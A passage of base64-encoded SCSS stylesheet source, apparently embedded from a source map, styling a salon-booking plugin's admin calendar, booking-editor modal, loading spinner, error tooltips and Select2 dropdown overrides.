weDtcbiAgICBsZWZ0OiBjYWxjKDUwJSAtIDMwcHgpO1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICBib3JkZXI6IDEwcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1tZWRpdW07XG4gICAgYm9yZGVyLXJpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICB6LWluZGV4OiA5OTk5OTk7XG4gICAgLXdlYmtpdC1hbmltYXRpb246IHdhaXQgMnMgaW5maW5pdGUgbGluZWFyO1xuICAgIGFuaW1hdGlvbjogd2FpdCAycyBpbmZpbml0ZSBsaW5lYXI7XG4gIH1cbn1cblxuI3Nsbi1ib29raW5nLWVkaXRvci1tb2RhbCB7XG4gIHotaW5kZXg6IDk5OTk7XG4gIC5tb2RhbC1oZWFkZXIge1xuICAgID4gYSxcbiAgICA+IGJ1dHRvbiB7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwLjVyZW07XG4gICAgfVxuICB9XG5cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgLnNsbi1idG4tLWxhcmdlIHtcbiAgICAgIG1pbi13aWR0aDogOTZweDtcbiAgICB9XG4gIH1cbiAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuICAgIC5tb2RhbC1oZWFkZXIgLnB1bGwtcmlnaHQge1xuICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgfVxuICB9XG59XG5cbiNzbG4tc2Fsb24gLm1vZGFsLWJhY2tkcm9wLFxuLnNsbi1zYWxvbi1icy13cmFwIC5tb2RhbC1iYWNrZHJvcCxcbi5zbG4tY2FsZW5kYXItLXdyYXBwZXIgLm1vZGFsLWJhY2tkcm9wIHtcbiAgei1pbmRleDogOTk5MDtcbn1cblxuQC13ZWJraXQta2V5ZnJhbWVzIHdhaXQge1xuICAwJSB7XG4gICAgLW1vei10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICB9XG4gIDEwMCUge1xuICAgIC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgfVxufVxuXG5Aa2V5ZnJhbWVzIHdhaXQge1xuICAwJSB7XG4gICAgLW1vei10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICB9XG4gIDEwMCUge1xuICAgIC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgfVxufVxuLy8gQ0FMRU5EQVIgLy8gRU5cbi8vIC8vLyBTRVRUSU5HUyBFTkRcblxuLy8gVE9PTFNcbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tdG9vbHNfX3dyYXBwZXIge1xuICAuc2xuLWlucHV0LS1zaW1wbGUgdGV4dGFyZWEge1xuICAgIG1pbi1oZWlnaHQ6IDQwdnc7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIG1pbi1oZWlnaHQ6IDIwdnc7XG4gICAgfVxuICB9XG59XG4vLyBUT09MUyAvLyBFTkRcblxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4vLyAvLy8gU0VMRUNUMiBPVkVSUklERVNcbi8vIC8vLyB3ZSBhZGQgLnNsbi1zZWxlY3QgdG8gLnNlbGVjdDItY29udGFpbmVyXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbiRpbnB1dC1oZWlnaHQ6IDQwcHg7XG4kaW5wdXQtZnNpemU6IDE2cHg7XG4uc2VsZWN0Mi1jb250YWluZXIuc2xuLXNlbGVjdCxcbi5zZWxlY3QyLWNvbnRhaW5lci1tdWx0aS5zbG4tc2VsZWN0IHtcbiAgLnNlbGVjdDItY2hvaWNlLFxuICAuc2VsZWN0Mi1jaG9pY2VzIHtcbiAgICBoZWlnaHQ6ICRpbnB1dC1oZWlnaHQ7XG4gICAgbGluZS1oZWlnaHQ6ICRpbnB1dC1oZWlnaHQ7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICBmb250LXNpemU6ICRpbnB1dC1mc2l6ZTtcbiAgICBib3JkZXItcmFkaXVzOiA0cHg7XG4gICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsIDAsIDAsIDAuMDcpO1xuICAgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsIDAsIDAsIDAuMDcpO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgY29sb3I6ICMzMjM3M2M7XG4gICAgb3V0bGluZTogMDtcbiAgICAtd2Via2l0LXRyYW5zaXRpb246IDAuMDVzIGJvcmRlci1jb2xvciBlYXNlLWluLW91dDtcbiAgICB0cmFuc2l0aW9uOiAwLjA1cyBib3JkZXItY29sb3IgZWFzZS1pbi1vdXQ7XG4gICAgLnNlbGVjdDItYXJyb3cge1xuICAgICAgd2lkdGg6IDE4cHg7XG4gICAgICBoZWlnaHQ6IDMwcHg7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICByaWdodDogMTBweDtcbiAgICAgIHRvcDogY2FsYyg1MCUgLSAzMHB4KTtcbiAgICAgIGJvcmRlci1sZWZ0OiBub25lO1xuICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgIH1cbiAgfVxufVxuXG4uc2VsZWN0Mi1yZXN1bHRzIHtcbiAgZm9udC1zaXplOiAkaW5wdXQtZnNpemU7XG59XG4uc2VsZWN0Mi1yZXN1bHRzIC5zZWxlY3QyLXJlc3VsdC1sYWJlbCB7XG4gIGxpbmUtaGVpZ2h0OiAkaW5wdXQtaGVpZ2h0O1xufVxuLnNsbi1zZWxlY3Qtd3JhcHBlciB7XG4gIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG4gICAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZVxuICAgIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuICAgIHBhZGRpbmc6IDA7XG4gIH1cbiAgLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUge1xuICAgIGhlaWdodDogJGlucHV0LWhlaWdodDtcbiAgICBsaW5lLWhlaWdodDogJGlucHV0LWhlaWdodDtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiBub25lO1xuICAgIGZvbnQtc2l6ZTogJGlucHV0LWZzaXplO1xuICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMnB4IHJnYmEoMCwgMCwgMCwgMC4wNyk7XG4gICAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMnB4IHJnYmEoMCwgMCwgMCwgMC4wNyk7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBjb2xvcjogIzMyMzczYztcbiAgICBvdXRsaW5lOiAwO1xuICAgIC13ZWJraXQtdHJhbnNpdGlvbjogMC4wNXMgYm9yZGVyLWNvbG9yIGVhc2UtaW4tb3V0O1xuICAgIHRyYW5zaXRpb246IDAuMDVzIGJvcmRlci1jb2xvciBlYXNlLWluLW91dDtcbiAgfVxuICAuc2VsZWN0Mi1jb250YWluZXItLXNsbiAuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSAuc2VsZWN0Mi1zZWxlY3Rpb25fX2Fycm93IHtcbiAgICB0b3A6IGNhbGMoNTAlIC0gMTNweCk7XG4gIH1cbiAgLnNlbGVjdDItY29udGFpbmVyLS1zbG5cbiAgICAuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZVxuICAgIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuICAgIGxpbmUtaGVpZ2h0OiAkaW5wdXQtaGVpZ2h0O1xuICB9XG4gIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAgIGJvcmRlci1jb2xvcjogI2RkZDtcbiAgICBmb250LXNpemU6ICRpbnB1dC1mc2l6ZTtcbiAgfVxuICAvKi5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUgLnNlbGVjdDItc2VsZWN0aW9uX19jaG9pY2Uge1xuICAgICAgICAgICAgcGFkZGluZzogMCA0MHB4IDAgMTBweDtcbiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiA3cHg7XG4gICAgICAgICAgICBtYXJnaW4tdG9wOiA4cHg7XG4gICAgICAgICAgICBsaW5lLWhlaWdodDogMzBweDtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNlZWU7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiBub25lO1xuICAgICAgICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgLnNlbGVjdDItc2VsZWN0aW9uX19jaG9pY2VfX3JlbW92ZSB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIHdpZHRoOiAyNnB4O1xuICAgICAgICAgICAgICAgIGhlaWdodDogMTAwJTtcbiAgICAgICAgICAgICAgICBsZWZ0OiBpbml0aWFsO1xuICAgICAgICAgICAgICAgIHRvcDogMDtcbiAgICAgICAgICAgICAgICByaWdodDogMDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiBub25lO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNlNGU0ZTQ7XG4gICAgICAgICAgICAgICAgY29sb3I6ICRjYS1yZWQ7XG4gICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwieFwiO1xuICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE2cHg7XG4gICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAkY2EtcmVkO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9Ki9cbiAgLnNlbGVjdDItY29udGFpbmVyLS1zbG4uc2VsZWN0Mi1jb250YWluZXItLWZvY3VzXG4gICAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG4gICAgYm9yZGVyOiBzb2xpZCBzZXR0aW5ncy1taXhpbnMuJGNhLWJsdWUgMXB4O1xuICAgIG91dGxpbmU6IDA7XG4gIH1cbiAgLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItc2VhcmNoLS1pbmxpbmUgLnNlbGVjdDItc2VhcmNoX19maWVsZCB7XG4gICAgLXdlYmtpdC1ib3gtc2hhZG93OiBub25lO1xuICAgIGJveC1zaGFkb3c6IG5vbmU7XG4gIH1cbn1cbi5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1mb2N1cyAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlLFxuLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSxcbi5zZWxlY3QyLXNlYXJjaC0tZHJvcGRvd24ge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIC8qIEZJWCAwOTIwMjNcbiAgICAmOmJlZm9yZSB7XG4gICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgcmlnaHQ6IDEwcHg7XG4gICAgICAgIHRvcDogY2FsYyg1MCUgLSAxM3B4KTtcbiAgICAgICAgd2lkdGg6IDI2cHg7XG4gICAgICAgIGhlaWdodDogMjZweDtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIGNvbnRlbnQ6IFwiXFxlMDAzXCI7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgICAgICBsaW5lLWhlaWdodDogMjZweDtcbiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICBmb250LWZhbWlseTogXCJHbHlwaGljb25zIEhhbGZsaW5nc1wiO1xuICAgICAgICBmb250LXNpemU6IDE0cHg7XG4gICAgICAgIGNvbG9yOiAjMzIzNzNjO1xuICAgIH1cbiAgICAqL1xufVxuLyogRklYIDA5MjAyM1xuLnNlbGVjdDItY29udGFpbmVyLS1zbG4uc2VsZWN0Mi1jb250YWluZXItLW9wZW4gLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG4gICAgJjpiZWZvcmUge1xuICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICB9XG59XG4qL1xuLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG4gIC8qIEZJWCAwOTIwMjNcbiAgICAmOmJlZm9yZSB7XG4gICAgICAgIGNvbG9yOiAjMzIzNzNjO1xuICAgIH1cbiAgICAqL1xuICAmOmhvdmVyIHtcbiAgICAmOmJlZm9yZSB7XG4gICAgICBjb2xvcjogI2ZmZjtcbiAgICB9XG4gIH1cbn1cbi8qIEZJWCAwOTIwMjNcbi5zbG4tc2VsZWN0LnNsbi1zZWxlY3QyLXNlbGVjdGlvbl9fc2VhcmNoLXByaW1hcnkgLnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdyB7XG4gICAgJjpiZWZvcmUge1xuICAgICAgICBjb250ZW50OiBcIlxcZjAwMlwiICFpbXBvcnRhbnQ7XG4gICAgfVxufVxuKi9cbi5zbG4tc2VydmljZS1wcmljZS10aW1lXG4gIC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG4gIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAmOmZvY3VzIHtcbiAgICBvdXRsaW5lOiBub25lO1xuICB9XG59XG4uc2xuLXNlcnZpY2UtcHJpY2UtdGltZVxuICAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlOmZvY3VzOmJlZm9yZSB7XG4gIGNvbG9yOiBjb2xvci5hZGp1c3QoI2ZmZiwgJGFscGhhOiAtMC41KTtcbn1cbi5zbG4tc2VydmljZS1wcmljZS10aW1lXG4gIC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG4gIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGU6YmVmb3JlIHtcbiAgdG9wOiAwLjVyZW07XG59XG4uc2xuLXNlcnZpY2UtcHJpY2UtdGltZVxuICAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlXG4gIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuICB3aWR0aDogY2FsYygxMDAlIC0gNDBweCk7XG4gICY6Zm9jdXMge1xuICAgIG91dGxpbmU6IG5vbmU7XG4gIH1cbn1cbi5zbG4tc2VydmljZS1wcmljZS10aW1lXG4gIC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG4gIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGVcbiAgLnNlbGVjdDItc2VsZWN0aW9uX19jaG9pY2Uge1xuICBkaXNwbGF5OiBibG9jaztcbiAgd2lkdGg6IDEwMCU7XG4gIHdoaXRlLXNwYWNlOiBub3JtYWw7XG4gIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gIHBhZGRpbmctdG9wOiAwLjRyZW07XG4gIHBhZGRpbmctYm90dG9tOiAwLjVyZW07XG59XG4uc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlXG4gIC5zZWxlY3QyLXNlbGVjdGlvbl9fY2hvaWNlX19yZW1vdmUge1xuICB3aWR0aDogMThweDtcbiAgaGVpZ2h0OiAxOHB4O1xuICByaWdodDogMC41cmVtO1xuICBmb250LXNpemU6IDFweDtcbiAgdGV4dC1pbmRlbnQ6IC05OTk5OTlweDtcbiAgJjo6YmVmb3JlLFxuICAmOjphZnRlciB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgY29udGVudDogJyc7XG4gICAgd2lkdGg6IDEwcHg7XG4gICAgaGVpZ2h0OiAycHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDhweDtcbiAgICBsZWZ0OiA0cHg7XG4gIH1cbiAgJjo6YmVmb3JlIHtcbiAgICAtbXMtdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDQ1ZGVnKTtcbiAgfVxuICAmOjphZnRlciB7XG4gICAgLW1zLXRyYW5zZm9ybTogcm90YXRlKC00NWRlZyk7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgtNDVkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKC00NWRlZyk7XG4gIH1cbn1cbi8vIC8vLyBTRUxFQ1QyIE9WRVJSSURFUyBFTkRcbi52ZXJ0aWNhbC10YWJzIHtcbiAgQGV4dGVuZCAlZm9udC1tZWRpdW07XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgbGkge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICB9XG4gIH1cbn1cblxuI3dwd3JhcCB7XG4gIEBleHRlbmQgJXppLXplcm87XG59XG5cbi8vIEFETUlOIENBTEVOREFSIE1PREFMIFNDUk9MTCBGSVhcbiNzbG4tYm9va2luZy1lZGl0b3ItbW9kYWwge1xuICBtYXJnaW4tdG9wOiA2MHB4O1xufVxuLnNsbi1ib29raW5nLWVkaXRvci0td3JhcHBlci0tc3ViIHtcbiAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiAxMDI0cHgpIHtcbiAgICAtd2Via2l0LW92ZXJmbG93LXNjcm9sbGluZzogdG91Y2g7XG4gICAgb3ZlcmZsb3cteTogc2Nyb2xsO1xuICB9XG4gIC8vaGVpZ2h0OiAzNjBweDtcbn1cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAob3JpZW50YXRpb246IHBvcnRyYWl0KSB7XG4gIC8vIC5zbG4tYm9va2luZy1lZGl0b3ItLXdyYXBwZXItLXN1YiB7XG4gIC8vIFx0Ly9oZWlnaHQ6IDYwMHB4O1xuICAvLyB9XG59XG5AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDc2OHB4KSBhbmQgKG9yaWVudGF0aW9uOiBsYW5kc2NhcGUpIHtcbiAgLy8gLnNsbi1ib29raW5nLWVkaXRvci0td3JhcHBlci0tc3ViIHtcbiAgLy8gXHQvL2hlaWdodDogNTQwcHg7XG4gIC8vIH1cbn1cbkBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gIC8vIC5zbG4tYm9va2luZy1lZGl0b3ItLXdyYXBwZXItLXN1YiB7XG4gIC8vIFx0Ly9oZWlnaHQ6IDYwMHB4O1xuICAvLyB9XG59XG5AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDk5MnB4KSB7XG4gICNzbG4tYm9va2luZy1lZGl0b3ItbW9kYWwge1xuICAgIG1hcmdpbi10b3A6IDE1cHg7XG4gIH1cbn1cblxuLnNsbl9lcnJvcl90aXAge1xuICBjb2xvcjogI2ZmZjtcbiAgZm9udC1zaXplOiAwLjhlbTtcbiAgbWF4LXdpZHRoOiAxNTBweDtcbiAgYmFja2dyb3VuZDogIzMzMztcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICBib3JkZXItcmFkaXVzOiAzcHg7XG4gIHBhZGRpbmc6IDAuNjE4ZW0gMWVtO1xuICBib3gtc2hhZG93OiAwIDFweCAzcHggcmdiYSgwLCAwLCAwLCAwLjIpO1xuXG4gIGNvZGUge1xuICAgIHBhZGRpbmc6IDFweDtcbiAgICBiYWNrZ3JvdW5kOiAjODg4O1xuICB9XG59XG4uc2xuX2Vycm9yX3RpcCB7XG4gIG1heC13aWR0aDogMjBlbTtcbiAgbGluZS1oZWlnaHQ6IDEuOGVtO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHdoaXRlLXNwYWNlOiBub3JtYWw7XG4gIGJhY2tncm91bmQ6ICNkODIyMjM7XG4gIG1hcmdpbjogMS41ZW0gMXB4IDAgLTFlbTtcbiAgei1pbmRleDogOTk5OTk5OTtcblxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJyc7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgYm9yZGVyOiA4cHggc29saWQgI2Q4MjIyMztcbiAgICBib3JkZXItcmlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1sZWZ0LWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBib3JkZXItdG9wLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAtM3B4O1xuICAgIGxlZnQ6IDUwJTtcbiAgICBtYXJnaW46IC0xZW0gMCAwIC0zcHg7XG4gIH1cbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4sXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIHtcbiAgI2NhbC1kYXktYm94IC5jYWwtZGF5LWhvdXItcGFydCB7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgIGhlaWdodDogMTAwcHg7XG4gICAgLnNwYW4xIHtcbiAgICAgIHBvc2l0aW9uOiBzdGlja3k7XG4gICAgICBsZWZ0OiAwO1xuICAgICAgbGluZS1oZWlnaHQ6IDEwMHB4O1xuICAgIH1cbiAgfVxuICAjY2FsLWRheS1ib3ggLmRheS1oaWdobGlnaHQge1xuICAgIGhlaWdodDogMTAwcHg7XG4gICAgbGluZS1oZWlnaHQ6IGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGggKiAyO1xuICB9XG4gICNjYWwtZGF5LWJveCAuY2FsLWRheS1ob3VyLXBhcnQuYWN0aXZlIHtcbiAgICBib3JkZXItYm90dG9tOiA0cHggc29saWRcbiAgICAgIGNvbG9yLmFkanVzdChhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzLCAkYWxwaGE6IC0wLjUpO1xuICB9XG4gIC5kYXktZXZlbnQtcGFuZWwtYm9yZGVyOmZpcnN0LWNoaWxkIHtcbiAgICBvcGFjaXR5OiAwO1xuICB9XG4gIC5jYWwtZGF5LWhvdXItcGFydF9fcm93YWN0aW9ucyB7XG4gICAgd2lkdGg6IDIwMHB4O1xuICAgIGhlaWdodDogMTAxcHg7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogNTAlO1xuICAgIGxlZnQ6IDgycHg7XG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMCwgLTUwJSk7XG4gICAgZGlzcGxheTogZ3JpZDtcbiAgICAvL2dyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byA2NnB4IDUwcHg7XG4gICAgLy9ncmlkLXRlbXBsYXRlLXJvd3M6IDFmcjtcbiAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDkwcHggMjBweCA5MHB4O1xuICAgIGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgIC8vYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjgpO1xuICAgIGJ1dHRvbixcbiAgICAuY2FsLWRheS1jbGljay10aXAge1xuICAgICAgcG9pbnRlci1ldmVudHM6IGF1dG87XG4gICAgfVxuICAgIC5zbG4tYnRuLS1jYWwtZGF5LS1hZGQge1xuICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICBncmlkLXJvdzogMTtcbiAgICAgIGp1c3RpZnktc2VsZjogZW5kO1xuICAgIH1cbiAgICAuc2xuLWJ0bi0tY2FsLWRheS0tbG9jayB7XG4gICAgICBncmlkLWNvbHVtbjogMztcbiAgICAgIGdyaWQtcm93OiAxO1xuICAgIH1cbiAgICAuY2FsLWRheS1jbGljay10aXAge1xuICAgICAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG4gICAgICBncmlkLXJvdzogMTtcbiAgICAgIGp1c3RpZnktc2VsZjogZW5kO1xuICAgICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICB0b3A6IDUwJTtcbiAgICAgICAgcmlnaHQ6IHVuc2V0O1xuICAgICAgICBib3R0b206IHVuc2V0O1xuICAgICAgICBsZWZ0OiA4cHg7XG4gICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDAsIC01MCUpIHNjYWxlKDEuNzUpO1xuICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAudG8tc2VsZWN0IC5jYWwtZGF5LWhvdXItcGFydF9fcm93YWN0aW9ucyB7XG4gICAgLy9ncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcbiAgICAvL2dyaWQtdGVtcGxhdGUtcm93czogNTBweCA1MHB4O1xuICAgIC8vLnNsbi1idG4tLWNhbC1kYXktLWxvY2sge1xuICAgIC8vICAgIGdyaWQtY29sdW1uOiAxO1xuICAgIC8vICAgIGdyaWQtcm93OiAxO1xuICAgIC8vICAgIGp1c3RpZnktc2VsZjogY2VudGVyO1xuICAgIC8vICAgIHRyYW5zZm9ybTogc2NhbGUoMC43NSkgIWltcG9ydGFudDtcbiAgICAvL31cbiAgICAvLy5jYWwtZGF5LWNsaWNrLXRpcCB7XG4gICAgLy8gICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgLy8gICAgZ3JpZC1yb3c6IDI7XG4gICAgLy99XG4gICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAyMHB4IDEwcHggMWZyO1xuICAgIGdyaWQtdGVtcGxhdGUtcm93czogMWZyO1xuICAgIC5zbG4tYnRuLS1jYWwtZGF5LS1sb2NrIHtcbiAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuNzUpICFpbXBvcnRhbnQ7XG4gICAgICBtYXJnaW4tbGVmdDogLTIwcHg7XG4gICAgfVxuICAgIC5jYWwtZGF5LWNsaWNrLXRpcCB7XG4gICAgICBncmlkLWNvbHVtbjogMztcbiAgICAgIGdyaWQtcm93OiAxO1xuICAgIH1cbiAgfVxuICAuY2FsLWRheS1ob3VyLXBhcnQuYWN0aXZlLFxuICAuY2FsLWRheS1ob3VyLXBhcnQ6aG92ZXIge1xuICAgIC5jYWwtZGF5LWhvdXItcGFydF9fcm93YWN0aW9ucyB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yO